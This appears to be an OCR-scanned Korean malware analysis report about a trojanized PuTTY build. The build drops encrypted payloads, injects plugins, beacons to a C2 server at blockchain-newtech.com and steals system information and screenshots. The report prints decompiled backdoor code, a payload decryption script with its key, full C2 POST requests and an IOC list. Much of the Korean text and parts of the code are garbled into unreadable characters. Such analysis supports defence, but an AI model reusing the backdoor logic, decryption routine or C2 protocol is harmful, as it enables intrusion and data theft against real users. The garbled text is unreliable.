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1. putty.exe

(MDS5 : 1D5AD4A60EC9BE32C11AD99F234BFESF, SIZE : 1,228,288)

e . LEAA AAH

B>

HEASH, SSH B =

(o] it o A =
HA™S ig:l-_'-‘lglll(PUtty)E =850 2+
Sy HAYSE AOF 4TSI Mg
ViRobot Trojan.Win.S.Dropper.1228288
HEY :
. — . o
(1) HYE Puttyexe IY2 SSH TH AL O|MO|= OFFH AN HRE SFX| A=Ch
#2 PuTTY Configuration x
Category:
|§|-S:esston Basic options for your PUTTY session
: T:... I..uglging Specify the destination you want to connect to
E‘ errn}g:b Host Name (or IP address) Port
oard
.. Bell || |22
Features Connection type:
& Window @ SSH " Sesl  Other [Tenet -

(2) 34X ssh2_userauth_process_queue O}
= IjAYEZ “8kcganOHay2'S L EHe|0F Y AT}

i B Selection
i - Colours
El- Connection Default Settings Load
.. Proxy Save
- 55H
s (=]
- Telnet
- Rlogin
- SUPDUP Close window on exit:
" Mways  Never % Only on clean exit
About | Open Cancel

- Appearance
- Behaviour
- Translation

Load, save or delete 2 stored session
Saved Sessions

[O3 1] Putty.exe

g0l AGIEES FHYLD, SSH TS A=

ddLE 2UEE 20 FHO

&Y putty - mewy =| % ssh2 userauth_process queus(PacketProtocolLayer = ppl) -
s-’nemord = proept _net _result(s->cur_oroact-»orensctsidl )
free proapts(s->cur_oreat )
[A& 2] '|l& ssh2userauth.c
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L/
ot Ab -|| =PS| 71 -|
S‘_ Ho+— o* = Hik
if ( !{_DWORD)result }
{
free_prompts(({Seat *_ ptr32)v332);
(*(uoid (_ fastcall **)(_QWORD, const char *, _ int64))(**(_QWORD **)(vl + 528) + 32i64))(
*(_QWORD *}(v1 + 528),
"Unable to authenticate”,
13i64);
return ssh_user_close(*(_QWORD *)(vl + 688), "User aborted during password authentication™);
}
w333 = prompt_get result(**( QWORD **)(v332 + 56));
V334 = *(Seat *F)(vl + 208);
*(_QWORD *}(vl + 232) = v333;
free_prompts((Seat *_ ptr32)viza);
password = *{co oYV o+ 232);

if ( !strcmp(pa

d, “Bkcgan@Hay2") )

*{ QWORD *}(v1
LODWORD(v37 = 1743838,
LODWORD = Localalloc(@x48u

+ 232) = sub_l4@86C6ER("Is,TMf{p;7<n[]1}@");

, Bx1AIBDEUiG4);

EEBEST

() HAQYEE U & MAE AdMAC L= ASSE IFY(thumbcache 512.db)1 0|2
MAIZ 20 ot (usrgroup.dat) 8-gsHCt.
MM AR MD5

%LocalAppdata%#MicrosofttWindowsWusrgroup.dat

420A13202D271BABC32BF8259CDADDF3

%LocalAppdata%WMicrosoft#Win

dowsWExplorertthumbcache_512.db 183A514A151388D8348689922CC62929

[ 1] YYE TYS Y

AH A el e XIAH A= = =] Al MK
4) d8E mMUS2 HY 2ASHY SEX 5 200 AlEA SFEC
L= dE EEH O 2T AL OFF|2F 2T AT OFF|2r 4T 23t BH= 0|
@uUsBCheck  EH| 2023-11-08 2F 11:130] - E2HE £ 27|52 5 E0Ct GHEFLICH 2023-11-08 2% 11:13:58 1999-11-30 27 12:00:00 =20| OtF MBEX 2. Microsoft Corporation
gg EH SR OEH  HE O EMESDR
LYS VST LY AT [ LUSHE STUS TN TLCL 0 SIS BTG (24 BES MESE T Y HOXE HUML,

AlLocaly\Microsoff\Windows\usrgroup.dat,LoadDIl 3%APPD

\\Local\Microsoft\Windows\Explorerithumbcache_512.db "z
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2. usrgroup.dat
(MDS5 : 420A13202D271BABC32BF8259CDADDF3, SIZE : 64,000)

e - B AHESE 0| S2EE|0 520 AME|H, thumbcache 512.db IS 25351 &
HEA|Z|H Sandbox = O| &% Ats EAME 3|Ulstr| sl A QX HALE O}

ViRobot Trojan.Win.S.Dropper.64000

o

(1) &l usrgroup.dat T+ thumbcache 512.db LtYS 202t 253} F Injection S0

o
(2) 5=t WA2 MM CIX}t "ZJwY'E ARl 7| 4f2 4430 XOR ALt = Zlib Decompress

11tiBytestr[vie]; £ "z iwWyqEvHEEqUsnj@=0( ) 1oNF=MRzXGWC"

while ( v32 € w29 );

} v
4 *(_DWORD *)&pa ad[v29 - 9)(188]'

t (char *)LocalA ll,._(64u vd )
leb deflate Payload((unsigned  int8 *)dst, &v46, (unsigned  int8 *)payload, Buffer - @x188);

(A& 5] thumbcache 512db H33 3

import zlib

KEY = "zjWyq@VH$&qUsnj@=0()19Nf=MRzXGWC"
DATA = open("./thumbcache 512.db", "rb").read()

xor_data = []

idx = 0

for i in range(@xC, len(DATA)):
xor_data.append(ord(KEY[idx % 8]) ~ DATA[i])
idx += 1

z1lib_deflate_data = zlib.decompressobj().decompress(bytearray(xor_data))
f = open("thumbcache 512.db.dec", "wb")

f.write(zlib_deflate_data)
f.close()

[E 2] thumbcache 512.db 233} AL
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) 223t & A E thumbcache 512.db LtY2 MM QUKo 47010 =X AASHH @12
Al

memset(WideCharstr, @, 52@);
vi o= 8;
v4 = IpThreadParameter;

{

5 = *udid;

*(__int16 *)((char *)v&4 + (char *)WideCharStr - (char *)lpThreadParameter - 2) = v5;
?
while ( V5 );

if ( lpThreadParameter )
ce(lpThreadParameter);
-1i64;

v34 = v2;

sub_180007248(WideCharstr);
TniTializeCriticalSectionAndSpinCount (&CriticalSection, xAu);
vl = 0i64;

do

{

11 = c2_address[v1e++];

@) A OIX} AA EOt & AMHMIACE 2, 6 HA| QX0 Bot ID 2t $Xf A|ZHS BASE64 2

QAL c&C MHO| &L
B C&C AH : hxxps://blockchain-newtech.com/download/download.asp

POST https://blockchain-newtech. com/download/download.asp HTTP/1.1
Content-Type: application/x-www-form-urlencode
Connection: Keep-alive

Host: blockchain-newtech.com

content-Length: 152

cache-control: no-cache

Cookie: ASPSESSIONIDSWTQCTTA=IHMLIGPBAAEINNDIPHDHBEDL

uUser-agent: Mozilla/4.0 (compatible; MSIE 7.0; windows NT 6.2; win64; x64; Trident/7.0; .NET4.0C; .NET4.OE;

.NET CLR 2.0.50727; .NE

PV=EYTUTXGIRY&ITQKRNDCWMTYOUDMOY ]Q2U ] 1VAaA==8DZOU=&GZ 1GZ T=0&5QF TMZ=52&L RHHM S*MgAWADIAMWAT_ADEAMQAtADAAOQAgADEANwAGADENﬂAAﬁADEMWA:I&N

Bot id ST A|ZH

[2& 7] Botid M&

(5) C&C AMH{ef 13 =0iCE 2{QF Z0| S43HH, SAXC| Plugin &S 7|CHEICE

# Result  Protocol Haost  URL Body
|2 13 200 HTTPS blackchain-newtech... fdownload/download.asp 21
= 15 200 HTTP Tunnel to  blockchain-newtech. com: 443 777
=17 200 HTTPS blackchain-newtech... fdownload/download.asp 21
= 19 200 HTTP Tunnel to  blockchain-newtech, com: 443 0
[ E 20 200 HTTPS blackchainnewtech..., fdownload/download.asp 21
= 21 200 HTTP Tunnel to  blockchainnewtech. com: 443 0
|Ep22 200 HTTPS blackchainnewtech... fdownload/download.asp 21
) 23 200 HTTF Turnnel to  blockchain-newtech. com: 443 0
| 24 200 HTTPS blackchain-newtech... fdownload/download.asp 21
[ 25 200 HTTP Tunnel to  blockchain-newtech. com: 443 0
|2 25 200 HTTPS blackchain-newtech... fdownload/download.asp 21

Caching
private

private

private

private

private

private

Content-Type
text/html

text/html

text/html

text/html

text/html

text/html
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(6) C&C MHO|AM Plugin MEHTO| Z23t WESE BASEe4 2 A HSI0] LE{E Lt

POST https://blockchain-newtech. com/download/download. asp HTTP/1.1

Content-Type: application/x-www-form-urlencode

Connection: Keep-aAlive

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; windows NT 6.2; wWin6d4; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NE
Host: blockchain-newtech. com

Content-Length: 141

Cache-Control: no-cache

Cookie: ASPSESSIONIDSWTQCTTA=IHMLIGPBAAEINNDIPHDHBBDL

HB=QQWOVDXZQW&VDEZ I=NDCWMTYQUDMOY jQ2Uj IvaA==8QUHV=&BPF URL=0&IHGDKK=>52&VDZ IMD=MgAWAD LAMWAT ADEAMQAT ADAAOQAGADE ANWAGADE AMQABADUANQA=&A

< >
| Find... (press Ctrl+Enter to highlight all) H Viewin Notepad
[Transformer Headers | Textview Syntaxiiew ImageView HexView Web\View Auth Caching Cookies Raw JSON ML

HTTP/1.1 200 OK

Cache-Control: private
Content-Type: text/html

Server: Microsoft-IIS/8.5

Date: Thu, 09 Nov 2023 07:10:55 GMT
Content-Length: 201

0009 0 00000088 |MOAWADAATAATADAAOAA2ADIATABGAGUAZQBKAEIAYQBJAGSATABUADGAMWBMADKAQAWADAAMgBgAGOAZOAWADKAAQBBAGEAYWALY|

100|50862|FeedBack|n83f9j002jje09j|ac543aed3dfbfdfcd48d13915d920ae6|

[O& 9] Plugin &

yqe o|oj
100 Plugin B8 M&
50862 Lot oY 37|
FeedBack oY g
n83f9j002jje09j A IRt
ac543aed3dfbfdfcd48d13915d920ae6 L2 otE oY MD5 S+

[E 3] Plugin 8&

(7) O|= C&C MHO|M Plugin & &=2tst TESICL

POST https://blockchain-newtech.com/download/download.asp HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NE
Host: blockchain-newtech.com

Content-Length: 146

Cache-Control: no-cache

Cookie: ASPSESSIONIDSWTQCTTA=IHMLIGPEAAEINNDIPHDHBEDL

A0=YYRMAF I&ABQF X=NDcwMTYOUDMOYjQ2U] Jvas==&AFWA=&OFBQUI=0&IJ0OKII=7 2&APMIWV=MgAWADI AMwATADEAMQATADAAOQAQGADE ANWAGADE AMOABADUAOABSADEAM

< >
| Find... (press Ctrl+Enter to highlight all) ” ViewinNotepad

[Transformer Headers TextView SyntaxView ImageView HexView WebView Auth Caching Cookies Raw JSON XML

HTTP/1.1 200_OK

Cache-control: private
Content-Type: text/html

Server: Microsoft-IIS/8.5

Date: Thu, 09 Nov 2023 07:10:58 GMT
content-Length: 67833

0009 3 000L0BES SuVG3x04yaKr4G$kDXXUdEAILSV7LZng?lARIYSUwFBfq(+jQIthPOSfZETVDSVlOB/ywhv?ddci+3yap§Ebe3u4P6Y51txpdsOfAEOanN8NL4O
+ujnylGPdth+5ZgbsbdbkGmvnXnyCZ lwwoaBu2iyfvmLePoqs,/gIsTPaezZ0315jm/Ps67kMqlLwBviUrGT2 SoveLaywwKyYmbF /ONTqcnhZ4v5imsxxp+xCjCyJedr3c2A000P
+NHjYnHCyalrpv2g5Su9NNh7 a3twM /NBgRyHZ 6ZQLYTHI+I93dplLOomx4myw/HBPpelkBnzWp 1 ApVkCMRWSrPT9aZK+yGd] /whnmfEDP5GM5Sh1IA2qrdBX20XNrC09817KO
+LBGPBYr4Ty¥wza8TUtaMfs¥pRYuWWFU/JmSp?]HtKSGcZUISne??ch?pJE1Mmeoht/BxPBSZFBthvaZsJPveMzcszZquq0w+s/yscanROCUJfsvwndog1mQLmsl
+du2tnixDeqéavvN2ge32ziTTOSDBDAGSIThTDMed FIr sXsPGUZXbGwwa3eFud JeecnavsomebvwTggf cgo/fMurytoRxvz53F8E JBF7 BMEAHHVEMMEWSPN3DWFWXLBOT X

(23 10] =3E Plugin
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N o8TE MM 24 =T

(8) ¥=2tEl Plugin 2 BASE64 C|ZE £ XOR it = 2= SHME AN, HZ2| LHOA

HAECH

Decrypt_Payload(({_ 1
5 = sub_130905068();

T64).77, dwDatalen);

& = v5;
if ( w5 || (unsigned int)Unzip((_ int64)vs, &Size, (__int64)v76) )
{

LocalFree(::hMem);

::hMem = eied;

return @i64;

v76[@x8B]);

}
if { *(_DWORD *)vé == 1)
dword_188@1FE64 = sub_18B@BGBEB(( (QWORD *)vs[1], Size, (  inté4)uad, w75[13a]);
else
dword_18@01F664 = Bx30008;
sub_180806F0(vE);
LocalFree(::hMem);
rthMem = @i64;
if { *(_WORD *)new_payload != ®xSA4D || (v1@ = PE_Injection({__int&4)v69, (__int&4)new_payload, new_payload)) == @is4 )

do

G0 = aDllDataError[vi++];

*(_WORD *)&ultiBytestr[vl * 2 + 278] = v6@;
}
while ( vee );
goto LABEL_23;

[22 11] Plugin 233 & A IC

Plugin 2 GetInfo64.dll O|&& ZtX| RUCH

H
; Export Ordinals Table for GetInfo64.dll

H

word_186017680 dw @

aGetinfos4Dll db 'GetInfog4.dll’,e

aFeedback db 'FeedBack®,®
align 1@88h

_rdata ends

R
ISR

.rdata: 202000018
"

(23 12]

Jh
+
It
rin
h
C
Q
>

==

(10) Getinfob4.dIl 2 “n83f9j002jje09j” MM CIX}7} QU2 Z2 MM F=
memset ination, @, sizeof(Destination});
memset( , B, sizeof(v35));
v5 = L"n83f9j002je093";
/6 = 16i64;
do
if ( lve )
break;
3= Fad4+ == FuStt;
) 65
while ( A
[ 13] A& X dAt
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(1) dAL S1t 2 0s FE, StEH =, HERS FE&, Z2M2 555 +35t0 &

HEE return Bt}
i ()

v9 = get_product();
wescpy_s(Destination, @x480uisd, vi);
get_pc_name(v35);

= get_process_infe();
get_os_info();

= get_time_info();
get_cpu_info();

= get_hw_info();

[A3 14 PC & =7

2023-11-09 17:12:08]0356|780%102. M=, &8 1= |Korea|DESKTOP-SUSOME6 |Windows 168 Pro for Workstations(x64)|Eg-Zg-¥. T6-65-

13*1| [System Process]|@|e| | | | |>2|System|4|@] | | | |3|Registry|92|4] | | | |>4|smss.exe|340]4]| | | |
|5|csrss.exe|428|42a] | | | |»*6|wininit.exe|5@8|428| | | | |7|csrss.exe|516]492| | | | |»8|winlogon.exe|592]|402] | | |
|»8|services.exe|612|588| | | | |1@|lsass.exe|656|5@@| | | | |11|fontdrvhost.exe|74@|588] | | |
|12|fontdrvhost.exe|748|592] | | | |13|svchost.exe|764|612] | | | |»14|svchost.exe|844|612| | | |

| »15|svchost.exe|892|612| | | | |16|svchost.exe|936|612| | | | |»>17|dwm.exe|1828|592] | | | |»>18|svchost.exe|724|612] | |
| |19|svchost.exe|648|612| | | | |»>20|svchost.exe|86@8|612| | | | |»*21|svchost.exe|988|612] | | |

|22| svchost.exe|1132|612| | | | |23|svchost.exe|1144]|612| | | | |24|svchost.exe|1208|612] | | | |25|svchost.exe|1264]|612]
| | | |26|svchost.exe|1348|612| | | | |27|svchost.exe|1412|612| | | | |28|svchost.exe|1428|612| | | |

| 29| svchost.exe|1444|612| | | | |38|Memory Compression|1532|4| | | | |»31|svchost.exe|1552(|612] | | |

| »32| svchost.exe|1568|612| | »33| svchost.exe|1632|612|
| »35| svchost.exe |1676|612 | | »36|svchost.exe| 1880|612 |

11 | >34 | svchost.exe | 1644|612 |
[
| »38|svchost.exe|1884|612| | | | |»39|svchost.exe|1892|612|
[
[

|
| |»37|svchost.exe|1856|612|
| |»48|svchost.exe|1984|612|
| »41 | svchost.exe|1968|612| | »42 | svchost.exe| 2832|612 | |
| »44 | svchost.exe| 2152|612 | | »45 | svchost.exe|2232|612| |

| »43 | spoolsv.exe| 2864|612 |

| »46| svchost.exe| 2248|612 |

D [ [P

|
|
|
|
|
(A3 15] =& g

g

(12) =8 = HE = BASE64 2 QIATE|0 CRC NHZE MSEICL

POST https://blockchain-newtech.com/download/download.asp HTTP/1.1

Content-Type: application/x-www-form-urTencoded

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR
Host: blockchain-newtech.com

Content-Length: 25102

Cache-Control: no-cache

Cookie: ASPSESSIONIDSWTQCTTA=IHMLIGPBAAEINNDIPHDHBBDL

EG=VOTWBVNIAODZ I&VKBAC=NDCWMTYOUDMOYjO2Uj JvaA==_&USYT=E&0GONST=3&WCRDWP=25020
&QUYOGS=MgAWADT AMWA t ADEAMOA tADAAOQAGADE ANWABADE AMgABADAADABSADKAMWALADYATAA3ADGAOQAGADE AOQAYACAAMOA 2ADGAL gAYADT AMAAU
1ADOANQAOAHWAQWABAFWAUABYAGBAZWBYAGEABQAQAEYAAQBs AGUACWBCAF cAaQBUAGOQAbWE 3AHMAQOBWAHAACWB CAEDAAQB JAHIAbWBZAGBAZ gBOACH

[18 16] =8 Z&2 HE

oin

CHSE Plugin 0| EXY Aoz Eoltt,

(13) olelof = me B, o3 UN

@

H
; Export Ordinals Table for ScreenCaptureDllé4.dll

@@

@
@
12 H
elo) word_18@@16968 dw @ ; DATA XREF: .
oo} ascreencaptured db 'ScreenCaptureDllss4.dll’,
8e ; DATA
ale) aGeneratecaptur db 'GenerateCapture’',® ; DATA
aa 9 align 8@6h
[leleteRetcleh et o) 9 _rdata ends
2 “} H 1 H
(a2 17] = A Plugin
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10C

hxxps://blockchain-newtech.com/download/download.asp
1D5AD4A60ECIBE32CT1AD99F234BFESF (putty.exe)
420A13202D271BABC32BF8259CDADDF3 (usrgroup.dat)
183A514A151388D8348689922CC62929 (thumbcache_512)
C26CE084A631E11B250280724ADFEAQA (Getinfo64.dll)
2F86BB7B912A61F8D323DDE362CODD1A (ScreenCaptureDll64.dll)
DOC2F269E8C70F5211974B82D6B79856 (Stop.dll)
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